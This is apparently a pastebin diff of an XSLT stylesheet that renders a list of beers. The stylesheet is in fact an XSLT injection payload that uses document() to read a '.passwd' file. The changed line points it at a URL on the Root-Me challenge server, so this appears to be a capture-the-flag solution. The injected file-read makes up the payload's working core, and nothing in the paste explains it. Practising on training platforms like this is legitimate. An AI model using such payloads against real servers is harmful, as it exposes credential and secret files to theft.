View difference between Paste ID: MKyiwGve and M5iSYg31
SHOW: | | - or go back to the newest paste.
1
<?xml version="1.0" encoding="UTF-8"?>
2
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
3
<body style="font-family:Arial;font-size:9pt;background-color:#AABBCC">
4
<xsl:for-each select="beers/beer">
5
  <div style="background-color:teal;color:white;padding:4px">
6
    <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
7
    <xsl:value-of select="price"/>
8
    </div>
9
  <div style="margin-left:20px;margin-bottom:1em;font-size:12pt">
10
    <p>
11
    <xsl:value-of select="description"/>
12-
    <span style="font-style:italic"> (<xsl:value-of select="document('.passwd')"/> %)</span>
12+
    <span style="font-style:italic"> (<xsl:value-of select="document('http://challenge01.root-me.org/web-serveur/ch50/.passwd')"/> %)</span>
13
    </p>
14
  </div>
15
</xsl:for-each>
16
</body>
17
</html>